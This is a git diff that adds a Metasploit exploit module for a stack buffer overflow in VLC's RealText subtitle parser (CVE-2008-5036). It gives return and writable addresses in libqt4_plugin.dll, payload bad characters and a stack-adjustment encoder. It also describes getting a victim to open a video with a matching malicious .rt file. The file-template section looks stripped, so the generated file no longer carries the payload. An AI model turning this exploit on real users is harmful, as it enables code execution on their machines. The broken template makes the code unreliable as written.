diff --git a/modules/exploits/windows/fileformat/vlc_realtext.rb b/modules/exploits/windows/fileformat/vlc_realtext.rb new file mode 100644 index 0000000000..12db993b8a --- /dev/null +++ b/modules/exploits/windows/fileformat/vlc_realtext.rb @@ -0,0 +1,100 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VLC Media Player RealText Subtitle Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow vulnerability in + VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of + RealText subtitle files. + + This module generates a specially crafted RealText subtitle file. + VLC handles subtitles automatically. It just checks the presence + of a subtitle file with the same name of the loaded video. If such + a subtitle file is found, VLC loads and parses the file. + + So to exploit the vulnerability the .rt file should be distributed + with a video file (.avi as sample) with the same file name. The + victim my open the video with the vulnerable VLC Media Player. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Tobias Klein', # Vulnerability Discovery + 'SkD', # Exploit + 'juan vazquez' # Metasploit Module + ], + 'Version' => '$Revision: $', + 'References' => + [ + [ 'OSVDB', '49809' ], + [ 'CVE', '2008-5036' ], + [ 'BID', '32125' ], + [ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-011.txt' ], + [ 'URL', 'http://www.videolan.org/security/sa0810.html' ] + ], + 'Payload' => + { + 'Space' => 1900, + 'DisableNops' => true, + 'BadChars' => "\x00\x22\x0a", + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1', + { + 'Ret' => 0x68f0cfad, # jmp esp # libqt4_plugin.dll + 'WritableAddress' => 0x695d5890 # libqt4_plugin.dll .data + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 05 2008', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.rt']), + ], self.class) + end + + def exploit + + my_payload = "" + my_payload << Rex::Text.rand_text(72, payload_badchars) + my_payload << [target.ret].pack("V") # EIP => jmp esp + my_payload << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+8").encode_string # ESP => jmp after "Writable address" + my_payload << Rex::Text.rand_text(2, payload_badchars) + my_payload << [target['WritableAddress']].pack("V") # Writable address + my_payload << payload.encoded + + rt_file = <<-eos + +Mary had a little lamb, +
+ eos + + print_status("Creating '#{datastore['FILENAME']}' file ...") + + file_create(rt_file) + + end +end